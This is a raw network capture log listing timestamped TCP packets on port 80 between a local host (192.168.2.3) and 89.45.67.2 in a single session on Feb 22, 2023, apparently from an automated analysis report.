Feb 22, 2023 09:44:07.329627037 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.329664946 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.329756975 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.369151115 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.369261026 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.371099949 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.371186972 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.371418953 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.371679068 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.371762991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.372432947 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372452021 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372467995 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372483015 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372497082 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372509003 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.372512102 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372528076 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372539043 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.372543097 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372558117 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372574091 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372587919 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372601986 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372616053 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372631073 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372646093 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372661114 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372675896 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372689962 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372705936 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372746944 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.372793913 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.372901917 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.372993946 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.373085022 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.373166084 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.373240948 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.414243937 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.414429903 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.414643049 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.414663076 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.414679050 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.414741039 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.414782047 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.415589094 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.415611029 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.415627003 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.415699005 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.415776968 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.415833950 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.415868044 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.415951967 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416018963 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416043997 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416089058 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416114092 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416136980 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416176081 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416256905 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416317940 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416342974 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416376114 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416409016 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416505098 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416505098 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416574955 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416596889 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416652918 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416660070 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416675091 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416702032 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.416732073 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.416768074 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.417006016 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.457531929 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.457577944 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.457655907 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.457701921 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.457701921 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.457734108 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.458023071 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.458646059 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.458728075 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.458851099 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.458935976 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459019899 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459059954 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459104061 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459131956 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459150076 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459237099 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459351063 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459351063 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459382057 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459422112 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459464073 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459537029 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459561110 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459575891 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459599972 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459638119 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459656000 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459692955 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459774017 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459803104 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459830046 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459868908 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459913969 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.459945917 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.459999084 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.460016012 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.460095882 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.460180044 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.501780033 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.501807928 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.501916885 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.501916885 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.502217054 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.502234936 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.502787113 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.502800941 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.502830982 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.502873898 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.502872944 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.502954006 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503066063 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503437996 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503508091 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503506899 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503566027 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503586054 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503642082 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503664970 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503715992 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503745079 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503777981 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503781080 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503817081 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503840923 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.503843069 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503892899 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.503990889 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.504071951 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.504137993 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.504199028 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.504240036 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.504256010 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.504273891 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.504292965 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.504355907 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.504426956 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.504443884 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.504570007 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.545207977 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.545234919 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.545478106 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.545748949 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.545820951 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.545839071 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.545917034 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.545937061 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.545975924 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.545991898 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546041965 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546046972 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546087980 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546117067 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546416044 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546499014 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546557903 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546572924 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546658039 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546673059 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546683073 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546727896 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546746969 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546821117 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546821117 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546834946 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.546905994 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.546960115 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547009945 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547065020 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547144890 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547164917 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547243118 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547243118 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547370911 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547413111 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547447920 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547455072 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547491074 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547497034 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547512054 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547538042 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.547609091 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.547646046 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.588658094 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.588680983 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.588696957 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.588746071 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.588782072 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.588782072 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.588826895 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.588949919 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.588973045 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589016914 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589032888 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589032888 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589032888 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589219093 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589334965 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589399099 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589545012 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589610100 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589611053 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589721918 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589736938 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589781046 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589781046 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589793921 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589843988 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589854956 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589915991 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.589955091 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.589994907 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590071917 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590137005 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590145111 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590203047 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590204954 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590259075 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590351105 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590408087 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590416908 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590487957 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590542078 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590559006 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590574026 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590620995 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590622902 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.590620995 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590677023 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.590677023 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632078886 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632107019 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632126093 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632141113 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632154942 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632169008 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632164955 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632183075 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632324934 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632344961 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632430077 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632474899 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632579088 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632642984 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632647991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632663965 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632723093 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632751942 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632766008 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632802010 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632822990 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632860899 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632926941 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.632934093 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.632991076 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633017063 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633038044 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633076906 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633126974 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633192062 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633198977 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633244991 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633451939 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633522987 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633537054 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633557081 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633599997 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633645058 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633697033 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.633708954 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633749962 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.633749962 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675314903 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675338984 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675354958 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675371885 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675421000 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675440073 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675440073 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675519943 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675589085 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675661087 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675726891 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675740957 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675868034 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675901890 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675923109 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.675975084 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675975084 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.675975084 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676089048 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676131010 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676146030 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676167011 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676223040 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676223040 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676229000 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676223040 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676302910 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676367998 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676368952 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676420927 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676487923 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676510096 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676549911 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676578045 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676592112 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676647902 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676647902 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676660061 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676701069 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676743031 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.676790953 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676790953 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.676898956 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.718616962 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718643904 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718658924 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718705893 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718774080 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718787909 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.718816042 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718851089 CET	80	49721	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:07.718863010 CET	49721	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:07.719018936 CET	80	49721	89.45.67.2	192.168.2.3
